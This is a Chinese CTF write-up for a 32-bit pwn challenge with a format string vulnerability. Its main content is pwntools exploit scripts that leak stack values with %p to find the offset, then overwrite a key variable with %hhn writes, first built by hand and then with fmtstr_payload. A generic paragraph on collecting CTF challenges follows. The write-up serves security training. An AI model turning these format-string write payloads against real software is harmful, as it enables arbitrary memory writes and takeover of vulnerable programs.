记一次赛题--pwn--没有溢出啦【格式化字符串】

检查

ida

 

格式化字符串漏洞,覆盖大数字

准备

exp

方法一、手动计算

#exp0,获得偏移

from pwn import*
context.log_level="debug"
i=process("/home/error/桌面/no")

p1=b"aaaa %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p"
i.sendline(p1)
i.interactive()






#exp,由上得到偏移为7,目标值为0x5201314

'''
┌──(root㉿kali)-[~]
└─# python3     
Python 3.10.8 (main, Nov  4 2022, 09:21:25) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x114-16
260
>>> 0x213-0x114
255
>>> 0x220-0x213
13
>>> 0x305-0x220
229
>>> 
'''

from pwn import*
context.log_level="debug"
i=process("/home/error/桌面/no")
#i=remote("101.43.222.218",9284)

i.recvline()
key_addr=0x0804A030
p1=flat([key_addr,key_addr+1,key_addr+2,key_addr+3])
p1+=b"%260x"+b"%7$hhn"+b"%255x"+b"%8$hhn"+b"%13x"+b"%9$hhn"+b"%229x"+b"%10$hhn"

i.sendline(p1)
i.interactive()


 方法二、借助工具

#exp,由上得到偏移为7,目标值为0x5201314

from pwn import*
context.log_level="debug"
i=process("/home/error/桌面/no")
#i=remote("101.43.222.218",9284)
key_addr=0x0804a030
p1=fmtstr_payload(7,{key_addr:0x5201314})
i.sendline(p1)
i.interactive()

结果

思考

fmtstr_payload是pwntools里面的一个工具,用来简化对格式化字符串漏洞的构造工作。

可以实现修改任意内存,仅支持32位
p=fmtstr_payload(偏移, {变量地址:目的值})

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ctfd-pwn是一个非常受欢迎的CTF(Capture The Flag)比赛中的一个赛题类型,它主要涉及二进制漏洞的利用和系统安全的挑战。 在ctfd-pwn赛题的收集过程中,通常需要考虑以下几个方面: 1. 题目类型:ctfd-pwn赛题可以包含多种类型的漏洞,例如缓冲区溢出格式化字符串漏洞、整数溢出等。在收集赛题时需要确保涵盖各种漏洞类型,增加题目的多样性和挑战性。 2. 难度级别:赛题的难度级别应该根据参赛者的水平来确定。可以设置多个难度级别的赛题,包括初级、中级和高级,以便参赛者可以逐步提高自己的技能。 3. 原创性:收集ctfd-pwn赛题时应尽量保持赛题的原创性,避免过多的抄袭或重复的赛题。这有助于增加参赛者的学习价值,同时也能提高比赛的公平性。 4. 实用性:收集的赛题应该具有实际应用的意义,能够模拟真实的漏洞和攻击场景。这样可以帮助参赛者更好地理解和掌握系统安全的基本原理。 5. 文档和解答:为每个收集的赛题准备详细的文档和解答是很有必要的。这些文档包括赛题的描述、利用漏洞的步骤和参考资源等,可以帮助参赛者更好地理解赛题和解题思路。 6. 持续更新:CTF比赛的赛题应该定期进行更新和维护,以适应不断变化的网络安全环境。同时也要根据参赛者的反馈和需求,不断收集新的赛题,提供更好的比赛体验。 综上所述,ctfd-pwn赛题的收集需要考虑赛题类型、难度级别、原创性、实用性、文档和解答的准备,以及持续更新的需求。这样才能提供一个富有挑战性和教育性的CTF比赛平台。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值